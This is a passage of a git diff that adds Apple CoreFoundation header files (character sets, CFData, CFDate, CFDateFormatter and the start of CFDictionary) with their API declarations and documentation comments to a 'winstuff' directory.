+/*! + @function CFCharacterSetCreateMutable + Creates a new empty mutable character set. + @param allocator The CFAllocator which should be used to allocate + memory for the array and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @result A reference to the new mutable CFCharacterSet. +*/ +CF_EXPORT +CFMutableCharacterSetRef CFCharacterSetCreateMutable(CFAllocatorRef alloc); + +#if MAC_OS_X_VERSION_10_3 <= MAC_OS_X_VERSION_MAX_ALLOWED +/*! + @function CFCharacterSetCreateCopy + Creates a new character set with the values from the given character set. This function tries to compact the backing store where applicable. + @param allocator The CFAllocator which should be used to allocate + memory for the array and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param theSet The CFCharacterSet which is to be copied. If this + parameter is not a valid CFCharacterSet, the behavior is + undefined. + @result A reference to the new CFCharacterSet. +*/ +CF_EXPORT +CFCharacterSetRef CFCharacterSetCreateCopy(CFAllocatorRef alloc, CFCharacterSetRef theSet) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; +#endif + +/*! + @function CFCharacterSetCreateMutableCopy + Creates a new mutable character set with the values from the given character set. + @param allocator The CFAllocator which should be used to allocate + memory for the array and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param theSet The CFCharacterSet which is to be copied. If this + parameter is not a valid CFCharacterSet, the behavior is + undefined. + @result A reference to the new mutable CFCharacterSet. +*/ +CF_EXPORT +CFMutableCharacterSetRef CFCharacterSetCreateMutableCopy(CFAllocatorRef alloc, CFCharacterSetRef theSet); + +/*! + @function CFCharacterSetIsCharacterMember + Reports whether or not the Unicode character is in the character set. + @param theSet The character set to be searched. If this parameter + is not a valid CFCharacterSet, the behavior is undefined. + @param theChar The Unicode character for which to test against the + character set. Note that this function takes 16-bit Unicode + character value; hence, it does not support access to the + non-BMP planes. + @result true, if the value is in the character set, otherwise false. +*/ +CF_EXPORT +Boolean CFCharacterSetIsCharacterMember(CFCharacterSetRef theSet, UniChar theChar); + +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED +/*! + @function CFCharacterSetIsLongCharacterMember + Reports whether or not the UTF-32 character is in the character set. + @param theSet The character set to be searched. If this parameter + is not a valid CFCharacterSet, the behavior is undefined. + @param theChar The UTF-32 character for which to test against the + character set. + @result true, if the value is in the character set, otherwise false. +*/ +CF_EXPORT Boolean CFCharacterSetIsLongCharacterMember(CFCharacterSetRef theSet, UTF32Char theChar); +#endif + +/*! + @function CFCharacterSetCreateBitmapRepresentation + Creates a new immutable data with the bitmap representation from the given character set. + @param allocator The CFAllocator which should be used to allocate + memory for the array and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param theSet The CFCharacterSet which is to be used create the + bitmap representation from. Refer to the comments for + CFCharacterSetCreateWithBitmapRepresentation for the + detailed discussion of the bitmap representation format. + If this parameter is not a valid CFCharacterSet, the + behavior is undefined. + @result A reference to the new immutable CFData. +*/ +CF_EXPORT +CFDataRef CFCharacterSetCreateBitmapRepresentation(CFAllocatorRef alloc, CFCharacterSetRef theSet); + +/*! + @function CFCharacterSetAddCharactersInRange + Adds the given range to the charaacter set. + @param theSet The character set to which the range is to be added. + If this parameter is not a valid mutable CFCharacterSet, + the behavior is undefined. + @param theRange The range to add to the character set. It accepts + the range in 32-bit in the UTF-32 format. The valid + character point range is from 0x00000 to 0x10FFFF. If the + range is outside of the valid Unicode character point, + the behavior is undefined. +*/ +CF_EXPORT +void CFCharacterSetAddCharactersInRange(CFMutableCharacterSetRef theSet, CFRange theRange); + +/*! + @function CFCharacterSetRemoveCharactersInRange + Removes the given range from the charaacter set. + @param theSet The character set from which the range is to be + removed. If this parameter is not a valid mutable + CFCharacterSet, the behavior is undefined. + @param theRange The range to remove from the character set. + It accepts the range in 32-bit in the UTF-32 format. + The valid character point range is from 0x00000 to 0x10FFFF. + If the range is outside of the valid Unicode character point, + the behavior is undefined. +*/ +CF_EXPORT +void CFCharacterSetRemoveCharactersInRange(CFMutableCharacterSetRef theSet, CFRange theRange); + +/*! + @function CFCharacterSetAddCharactersInString + Adds the characters in the given string to the charaacter set. + @param theSet The character set to which the characters in the + string are to be added. If this parameter is not a + valid mutable CFCharacterSet, the behavior is undefined. + @param theString The string to add to the character set. + If this parameter is not a valid CFString, the behavior + is undefined. +*/ +CF_EXPORT +void CFCharacterSetAddCharactersInString(CFMutableCharacterSetRef theSet, CFStringRef theString); + +/*! + @function CFCharacterSetRemoveCharactersInString + Removes the characters in the given string from the charaacter set. + @param theSet The character set from which the characters in the + string are to be remove. If this parameter is not a + valid mutable CFCharacterSet, the behavior is undefined. + @param theString The string to remove from the character set. + If this parameter is not a valid CFString, the behavior + is undefined. +*/ +CF_EXPORT +void CFCharacterSetRemoveCharactersInString(CFMutableCharacterSetRef theSet, CFStringRef theString); + +/*! + @function CFCharacterSetUnion + Forms the union with the given character set. + @param theSet The destination character set into which the + union of the two character sets is stored. If this + parameter is not a valid mutable CFCharacterSet, the + behavior is undefined. + @param theOtherSet The character set with which the union is + formed. If this parameter is not a valid CFCharacterSet, + the behavior is undefined. +*/ +CF_EXPORT +void CFCharacterSetUnion(CFMutableCharacterSetRef theSet, CFCharacterSetRef theOtherSet); + +/*! + @function CFCharacterSetIntersect + Forms the intersection with the given character set. + @param theSet The destination character set into which the + intersection of the two character sets is stored. + If this parameter is not a valid mutable CFCharacterSet, + the behavior is undefined. + @param theOtherSet The character set with which the intersection + is formed. If this parameter is not a valid CFCharacterSet, + the behavior is undefined. +*/ +CF_EXPORT +void CFCharacterSetIntersect(CFMutableCharacterSetRef theSet, CFCharacterSetRef theOtherSet); + +/*! + @function CFCharacterSetInvert + Inverts the content of the given character set. + @param theSet The character set to be inverted. + If this parameter is not a valid mutable CFCharacterSet, + the behavior is undefined. +*/ +CF_EXPORT +void CFCharacterSetInvert(CFMutableCharacterSetRef theSet); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFCHARACTERSET__ */ + diff --git a/winstuff/CoreFoundation/CFCharacterSetPriv.h b/winstuff/CoreFoundation/CFCharacterSetPriv.h new file mode 100644 index 0000000..bb36bae --- /dev/null +++ b/winstuff/CoreFoundation/CFCharacterSetPriv.h @@ -0,0 +1,93 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFCharacterSetPriv.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFCHARACTERSETPRIV__) +#define __COREFOUNDATION_CFCHARACTERSETPRIV__ 1 + +#include + +CF_EXTERN_C_BEGIN + +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED +/*! + @function CFCharacterSetIsSurrogateHighCharacter + Reports whether or not the character is a high surrogate. + @param character The character to be checked. + @result true, if character is a high surrogate, otherwise false. +*/ +CF_INLINE Boolean CFCharacterSetIsSurrogateHighCharacter(UniChar character) { + return ((character >= 0xD800UL) && (character <= 0xDBFFUL) ? true : false); +} + +/*! + @function CFCharacterSetIsSurrogateLowCharacter + Reports whether or not the character is a low surrogate. + @param character The character to be checked. + @result true, if character is a low surrogate, otherwise false. +*/ +CF_INLINE Boolean CFCharacterSetIsSurrogateLowCharacter(UniChar character) { + return ((character >= 0xDC00UL) && (character <= 0xDFFFUL) ? true : false); +} + +/*! + @function CFCharacterSetGetLongCharacterForSurrogatePair + Returns the UTF-32 value corresponding to the surrogate pair passed in. + @param surrogateHigh The high surrogate character. If this parameter + is not a valid high surrogate character, the behavior is undefined. + @param surrogateLow The low surrogate character. If this parameter + is not a valid low surrogate character, the behavior is undefined. + @result The UTF-32 value for the surrogate pair. +*/ +CF_INLINE UTF32Char CFCharacterSetGetLongCharacterForSurrogatePair(UniChar surrogateHigh, UniChar surrogateLow) { + return ((surrogateHigh - 0xD800UL) << 10) + (surrogateLow - 0xDC00UL) + 0x0010000UL; +} +#endif + +/* Check to see if the character represented by the surrogate pair surrogateHigh & surrogateLow is in the chraracter set */ +CF_EXPORT Boolean CFCharacterSetIsSurrogatePairMember(CFCharacterSetRef theSet, UniChar surrogateHigh, UniChar surrogateLow) ; + +/* Keyed-coding support +*/ +enum { + kCFCharacterSetKeyedCodingTypeBitmap = 1, + kCFCharacterSetKeyedCodingTypeBuiltin = 2, + kCFCharacterSetKeyedCodingTypeRange = 3, + kCFCharacterSetKeyedCodingTypeString = 4, + kCFCharacterSetKeyedCodingTypeBuiltinAndBitmap = 5 +}; +typedef CFIndex CFCharacterSetKeyedCodingType; + +CF_EXPORT CFCharacterSetKeyedCodingType _CFCharacterSetGetKeyedCodingType(CFCharacterSetRef cset); +CF_EXPORT CFCharacterSetPredefinedSet _CFCharacterSetGetKeyedCodingBuiltinType(CFCharacterSetRef cset); +CF_EXPORT CFRange _CFCharacterSetGetKeyedCodingRange(CFCharacterSetRef cset); +CF_EXPORT CFStringRef _CFCharacterSetCreateKeyedCodingString(CFCharacterSetRef cset); +CF_EXPORT bool _CFCharacterSetIsInverted(CFCharacterSetRef cset); +CF_EXPORT void _CFCharacterSetSetIsInverted(CFCharacterSetRef cset, bool flag); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFCHARACTERSETPRIV__ */ + diff --git a/winstuff/CoreFoundation/CFData.h b/winstuff/CoreFoundation/CFData.h new file mode 100644 index 0000000..46c7ba5 --- /dev/null +++ b/winstuff/CoreFoundation/CFData.h @@ -0,0 +1,64 @@ +/* CFData.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFDATA__) +#define __COREFOUNDATION_CFDATA__ 1 + +#include + +CF_EXTERN_C_BEGIN + +typedef const struct __CFData * CFDataRef; +typedef struct __CFData * CFMutableDataRef; + +CF_EXPORT +CFTypeID CFDataGetTypeID(void); + +CF_EXPORT +CFDataRef CFDataCreate(CFAllocatorRef allocator, const UInt8 *bytes, CFIndex length); + +CF_EXPORT +CFDataRef CFDataCreateWithBytesNoCopy(CFAllocatorRef allocator, const UInt8 *bytes, CFIndex length, CFAllocatorRef bytesDeallocator); + /* Pass kCFAllocatorNull as bytesDeallocator to assure the bytes aren't freed */ + +CF_EXPORT +CFDataRef CFDataCreateCopy(CFAllocatorRef allocator, CFDataRef theData); + +CF_EXPORT +CFMutableDataRef CFDataCreateMutable(CFAllocatorRef allocator, CFIndex capacity); + +CF_EXPORT +CFMutableDataRef CFDataCreateMutableCopy(CFAllocatorRef allocator, CFIndex capacity, CFDataRef theData); + +CF_EXPORT +CFIndex CFDataGetLength(CFDataRef theData); + +CF_EXPORT +const UInt8 *CFDataGetBytePtr(CFDataRef theData); + +CF_EXPORT +UInt8 *CFDataGetMutableBytePtr(CFMutableDataRef theData); + +CF_EXPORT +void CFDataGetBytes(CFDataRef theData, CFRange range, UInt8 *buffer); + +CF_EXPORT +void CFDataSetLength(CFMutableDataRef theData, CFIndex length); + +CF_EXPORT +void CFDataIncreaseLength(CFMutableDataRef theData, CFIndex extraLength); + +CF_EXPORT +void CFDataAppendBytes(CFMutableDataRef theData, const UInt8 *bytes, CFIndex length); + +CF_EXPORT +void CFDataReplaceBytes(CFMutableDataRef theData, CFRange range, const UInt8 *newBytes, CFIndex newLength); + +CF_EXPORT +void CFDataDeleteBytes(CFMutableDataRef theData, CFRange range); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFDATA__ */ + diff --git a/winstuff/CoreFoundation/CFDate.h b/winstuff/CoreFoundation/CFDate.h new file mode 100644 index 0000000..329cff6 --- /dev/null +++ b/winstuff/CoreFoundation/CFDate.h @@ -0,0 +1,100 @@ +/* CFDate.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFDATE__) +#define __COREFOUNDATION_CFDATE__ 1 + +#include + +CF_EXTERN_C_BEGIN + +typedef double CFTimeInterval; +typedef CFTimeInterval CFAbsoluteTime; +/* absolute time is the time interval since the reference date */ +/* the reference date (epoch) is 00:00:00 1 January 2001. */ + +CF_EXPORT +CFAbsoluteTime CFAbsoluteTimeGetCurrent(void); + +CF_EXPORT +const CFTimeInterval kCFAbsoluteTimeIntervalSince1970; +CF_EXPORT +const CFTimeInterval kCFAbsoluteTimeIntervalSince1904; + +typedef const struct __CFDate * CFDateRef; + +CF_EXPORT +CFTypeID CFDateGetTypeID(void); + +CF_EXPORT +CFDateRef CFDateCreate(CFAllocatorRef allocator, CFAbsoluteTime at); + +CF_EXPORT +CFAbsoluteTime CFDateGetAbsoluteTime(CFDateRef theDate); + +CF_EXPORT +CFTimeInterval CFDateGetTimeIntervalSinceDate(CFDateRef theDate, CFDateRef otherDate); + +CF_EXPORT +CFComparisonResult CFDateCompare(CFDateRef theDate, CFDateRef otherDate, void *context); + +typedef const struct __CFTimeZone * CFTimeZoneRef; + +typedef struct { + SInt32 year; + SInt8 month; + SInt8 day; + SInt8 hour; + SInt8 minute; + double second; +} CFGregorianDate; + +typedef struct { + SInt32 years; + SInt32 months; + SInt32 days; + SInt32 hours; + SInt32 minutes; + double seconds; +} CFGregorianUnits; + +enum { + kCFGregorianUnitsYears = (1 << 0), + kCFGregorianUnitsMonths = (1 << 1), + kCFGregorianUnitsDays = (1 << 2), + kCFGregorianUnitsHours = (1 << 3), + kCFGregorianUnitsMinutes = (1 << 4), + kCFGregorianUnitsSeconds = (1 << 5), + kCFGregorianAllUnits = 0x00FFFFFF +}; +typedef CFOptionFlags CFGregorianUnitFlags; + +CF_EXPORT +Boolean CFGregorianDateIsValid(CFGregorianDate gdate, CFOptionFlags unitFlags); + +CF_EXPORT +CFAbsoluteTime CFGregorianDateGetAbsoluteTime(CFGregorianDate gdate, CFTimeZoneRef tz); + +CF_EXPORT +CFGregorianDate CFAbsoluteTimeGetGregorianDate(CFAbsoluteTime at, CFTimeZoneRef tz); + +CF_EXPORT +CFAbsoluteTime CFAbsoluteTimeAddGregorianUnits(CFAbsoluteTime at, CFTimeZoneRef tz, CFGregorianUnits units); + +CF_EXPORT +CFGregorianUnits CFAbsoluteTimeGetDifferenceAsGregorianUnits(CFAbsoluteTime at1, CFAbsoluteTime at2, CFTimeZoneRef tz, CFOptionFlags unitFlags); + +CF_EXPORT +SInt32 CFAbsoluteTimeGetDayOfWeek(CFAbsoluteTime at, CFTimeZoneRef tz); + +CF_EXPORT +SInt32 CFAbsoluteTimeGetDayOfYear(CFAbsoluteTime at, CFTimeZoneRef tz); + +CF_EXPORT +SInt32 CFAbsoluteTimeGetWeekOfYear(CFAbsoluteTime at, CFTimeZoneRef tz); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFDATE__ */ + diff --git a/winstuff/CoreFoundation/CFDateFormatter.h b/winstuff/CoreFoundation/CFDateFormatter.h new file mode 100644 index 0000000..6f5f952 --- /dev/null +++ b/winstuff/CoreFoundation/CFDateFormatter.h @@ -0,0 +1,145 @@ +/* CFDateFormatter.h + Copyright (c) 2003-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFDATEFORMATTER__) +#define __COREFOUNDATION_CFDATEFORMATTER__ 1 + +#include +#include +#include + +#if MAC_OS_X_VERSION_10_3 <= MAC_OS_X_VERSION_MAX_ALLOWED + +CF_EXTERN_C_BEGIN + +typedef struct __CFDateFormatter *CFDateFormatterRef; + +// CFDateFormatters are not thread-safe. Do not use one from multiple threads! + +CF_EXPORT +CFTypeID CFDateFormatterGetTypeID(void) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +enum { // date and time format styles + kCFDateFormatterNoStyle = 0, + kCFDateFormatterShortStyle = 1, + kCFDateFormatterMediumStyle = 2, + kCFDateFormatterLongStyle = 3, + kCFDateFormatterFullStyle = 4 +}; +typedef CFIndex CFDateFormatterStyle; + +// The exact formatted result for these date and time styles depends on the +// locale, but generally: +// Short is completely numeric, such as "12/13/52" or "3:30pm" +// Medium is longer, such as "Jan 12, 1952" +// Long is longer, such as "January 12, 1952" or "3:30:32pm" +// Full is pretty complete; e.g. "Tuesday, April 12, 1952 AD" or "3:30:42pm PST" +// The specifications though are left fuzzy, in part simply because a user's +// preference choices may affect the output, and also the results may change +// from one OS release to another. To produce an exactly formatted date you +// should not rely on styles and localization, but set the format string and +// use nothing but numbers. + +CF_EXPORT +CFDateFormatterRef CFDateFormatterCreate(CFAllocatorRef allocator, CFLocaleRef locale, CFDateFormatterStyle dateStyle, CFDateFormatterStyle timeStyle) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Returns a CFDateFormatter, localized to the given locale, which + // will format dates to the given date and time styles. + +CF_EXPORT +CFLocaleRef CFDateFormatterGetLocale(CFDateFormatterRef formatter) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +CF_EXPORT +CFDateFormatterStyle CFDateFormatterGetDateStyle(CFDateFormatterRef formatter) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +CF_EXPORT +CFDateFormatterStyle CFDateFormatterGetTimeStyle(CFDateFormatterRef formatter) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Get the properties with which the date formatter was created. + +CF_EXPORT +CFStringRef CFDateFormatterGetFormat(CFDateFormatterRef formatter) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +CF_EXPORT +void CFDateFormatterSetFormat(CFDateFormatterRef formatter, CFStringRef formatString) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Set the format description string of the date formatter. This + // overrides the style settings. The format of the format string + // is as defined by the ICU library. The date formatter starts with a + // default format string defined by the style arguments with + // which it was created. + + +CF_EXPORT +CFStringRef CFDateFormatterCreateStringWithDate(CFAllocatorRef allocator, CFDateFormatterRef formatter, CFDateRef date) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +CF_EXPORT +CFStringRef CFDateFormatterCreateStringWithAbsoluteTime(CFAllocatorRef allocator, CFDateFormatterRef formatter, CFAbsoluteTime at) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Create a string representation of the given date or CFAbsoluteTime + // using the current state of the date formatter. + + +CF_EXPORT +CFDateRef CFDateFormatterCreateDateFromString(CFAllocatorRef allocator, CFDateFormatterRef formatter, CFStringRef string, CFRange *rangep) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +CF_EXPORT +Boolean CFDateFormatterGetAbsoluteTimeFromString(CFDateFormatterRef formatter, CFStringRef string, CFRange *rangep, CFAbsoluteTime *atp) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Parse a string representation of a date using the current state + // of the date formatter. The range parameter specifies the range + // of the string in which the parsing should occur in input, and on + // output indicates the extent that was used; this parameter can + // be NULL, in which case the whole string may be used. The + // return value indicates whether some date was computed and + // (if atp is not NULL) stored at the location specified by atp. + + +CF_EXPORT +void CFDateFormatterSetProperty(CFDateFormatterRef formatter, CFStringRef key, CFTypeRef value) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +CF_EXPORT +CFTypeRef CFDateFormatterCopyProperty(CFDateFormatterRef formatter, CFStringRef key) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Set and get various properties of the date formatter, the set of + // which may be expanded in the future. + +CF_EXPORT const CFStringRef kCFDateFormatterIsLenient AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFBoolean +CF_EXPORT const CFStringRef kCFDateFormatterTimeZone AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFTimeZone +CF_EXPORT const CFStringRef kCFDateFormatterCalendarName AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFDateFormatterDefaultFormat AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFDateFormatterTwoDigitStartDate AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; // CFDate +CF_EXPORT const CFStringRef kCFDateFormatterDefaultDate AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; // CFDate +CF_EXPORT const CFStringRef kCFDateFormatterCalendar AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; // CFCalendar +CF_EXPORT const CFStringRef kCFDateFormatterEraSymbols AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterMonthSymbols AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterShortMonthSymbols AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterWeekdaySymbols AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterShortWeekdaySymbols AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterAMSymbol AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFDateFormatterPMSymbol AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFDateFormatterLongEraSymbols AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterVeryShortMonthSymbols AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterStandaloneMonthSymbols AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterShortStandaloneMonthSymbols AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterVeryShortStandaloneMonthSymbols AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterVeryShortWeekdaySymbols AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterStandaloneWeekdaySymbols AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterShortStandaloneWeekdaySymbols AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterVeryShortStandaloneWeekdaySymbols AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterQuarterSymbols AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterShortQuarterSymbols AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterStandaloneQuarterSymbols AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterShortStandaloneQuarterSymbols AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFArray of CFString +CF_EXPORT const CFStringRef kCFDateFormatterGregorianStartDate AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFDate + +// See CFLocale.h for these calendar constants: +// const CFStringRef kCFGregorianCalendar; +// const CFStringRef kCFBuddhistCalendar; +// const CFStringRef kCFJapaneseCalendar; +// const CFStringRef kCFIslamicCalendar; +// const CFStringRef kCFIslamicCivilCalendar; +// const CFStringRef kCFHebrewCalendar; +// const CFStringRef kCFChineseCalendar; + +CF_EXTERN_C_END + +#endif + +#endif /* ! __COREFOUNDATION_CFDATEFORMATTER__ */ + diff --git a/winstuff/CoreFoundation/CFDictionary.h b/winstuff/CoreFoundation/CFDictionary.h new file mode 100644 index 0000000..b461375 --- /dev/null +++ b/winstuff/CoreFoundation/CFDictionary.h @@ -0,0 +1,667 @@ +/* CFDictionary.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +/*! + @header CFDictionary + CFDictionary implements a container which pairs pointer-sized keys + with pointer-sized values. Values are accessed via arbitrary + user-defined keys. A CFDictionary differs from a CFArray in that + the key used to access a particular value in the dictionary remains + the same as values are added to or removed from the dictionary, + unless a value associated with its particular key is replaced or + removed. In a CFArray, the key (or index) used to retrieve a + particular value can change over time as values are added to or + deleted from the array. Also unlike an array, there is no ordering + among values in a dictionary. To enable later retrieval of a value, + the key of the key-value pair should be constant (or treated as + constant); if the key changes after being used to put a value in + the dictionary, the value may not be retrievable. The keys of a + dictionary form a set; that is, no two keys which are equal to + one another are present in the dictionary at any time. + + Dictionaries come in two flavors, immutable, which cannot have + values added to them or removed from them after the dictionary is + created, and mutable, to which you can add values or from which + remove values. Mutable dictionaries can have an unlimited number + of values (or rather, limited only by constraints external to + CFDictionary, like the amount of available memory). + + As with all CoreFoundation collection types, dictionaries maintain + hard references on the values you put in them, but the retaining and + releasing functions are user-defined callbacks that can actually do + whatever the user wants (for example, nothing). + + Although a particular implementation of CFDictionary may not use + hashing and a hash table for storage of the values, the keys have + a hash-code generating function defined for them, and a function + to test for equality of two keys. These two functions together + must maintain the invariant that if equal(X, Y), then hash(X) == + hash(Y). Note that the converse will not generally be true (but + the contrapositive, if hash(X) != hash(Y), then !equal(X, Y), + will be as required by Boolean logic). If the hash() and equal() + key callbacks are NULL, the key is used as a pointer-sized integer, + and pointer equality is used. Care should be taken to provide a + hash() callback which will compute sufficiently dispersed hash + codes for the key set for best performance. + + Computational Complexity + The access time for a value in the dictionary is guaranteed to be at + worst O(lg N) for any implementation, current and future, but will + often be O(1) (constant time). Insertion or deletion operations + will typically be constant time as well, but are O(N*lg N) in the + worst case in some implementations. Access of values through a key + is faster than accessing values directly (if there are any such + operations). Dictionaries will tend to use significantly more memory + than a array with the same number of values. +*/ + +#if !defined(__COREFOUNDATION_CFDICTIONARY__) +#define __COREFOUNDATION_CFDICTIONARY__ 1 + +#include + +CF_EXTERN_C_BEGIN + +/*! + @typedef CFDictionaryKeyCallBacks + Structure containing the callbacks for keys of a CFDictionary. + @field version The version number of the structure type being passed + in as a parameter to the CFDictionary creation functions. + This structure is version 0. + @field retain The callback used to add a retain for the dictionary + on keys as they are used to put values into the dictionary. + This callback returns the value to use as the key in the + dictionary, which is usually the value parameter passed to + this callback, but may be a different value if a different + value should be used as the key. The dictionary's allocator + is passed as the first argument. + @field release The callback used to remove a retain previously added + for the dictionary from keys as their values are removed from + the dictionary. The dictionary's allocator is passed as the + first argument. + @field copyDescription The callback used to create a descriptive + string representation of each key in the dictionary. This + is used by the CFCopyDescription() function. + @field equal The callback used to compare keys in the dictionary for + equality. + @field hash The callback used to compute a hash code for keys as they + are used to access, add, or remove values in the dictionary. +*/ +typedef const void * (*CFDictionaryRetainCallBack)(CFAllocatorRef allocator, const void *value); +typedef void (*CFDictionaryReleaseCallBack)(CFAllocatorRef allocator, const void *value); +typedef CFStringRef (*CFDictionaryCopyDescriptionCallBack)(const void *value); +typedef Boolean (*CFDictionaryEqualCallBack)(const void *value1, const void *value2); +typedef CFHashCode (*CFDictionaryHashCallBack)(const void *value); +typedef struct { + CFIndex version; + CFDictionaryRetainCallBack retain; + CFDictionaryReleaseCallBack release; + CFDictionaryCopyDescriptionCallBack copyDescription; + CFDictionaryEqualCallBack equal; + CFDictionaryHashCallBack hash; +} CFDictionaryKeyCallBacks; + +/*! + @constant kCFTypeDictionaryKeyCallBacks + Predefined CFDictionaryKeyCallBacks structure containing a + set of callbacks appropriate for use when the keys of a + CFDictionary are all CFTypes. +*/ +CF_EXPORT +const CFDictionaryKeyCallBacks kCFTypeDictionaryKeyCallBacks; + +/*! + @constant kCFCopyStringDictionaryKeyCallBacks + Predefined CFDictionaryKeyCallBacks structure containing a + set of callbacks appropriate for use when the keys of a + CFDictionary are all CFStrings, which may be mutable and + need to be copied in order to serve as constant keys for + the values in the dictionary. +*/ +CF_EXPORT +const CFDictionaryKeyCallBacks kCFCopyStringDictionaryKeyCallBacks; + +/*! + @typedef CFDictionaryValueCallBacks + Structure containing the callbacks for values of a CFDictionary. + @field version The version number of the structure type being passed + in as a parameter to the CFDictionary creation functions. + This structure is version 0. + @field retain The callback used to add a retain for the dictionary + on values as they are put into the dictionary. + This callback returns the value to use as the value in the + dictionary, which is usually the value parameter passed to + this callback, but may be a different value if a different + value should be added to the dictionary. The dictionary's + allocator is passed as the first argument. + @field release The callback used to remove a retain previously added + for the dictionary from values as they are removed from + the dictionary. The dictionary's allocator is passed as the + first argument. + @field copyDescription The callback used to create a descriptive + string representation of each value in the dictionary. This + is used by the 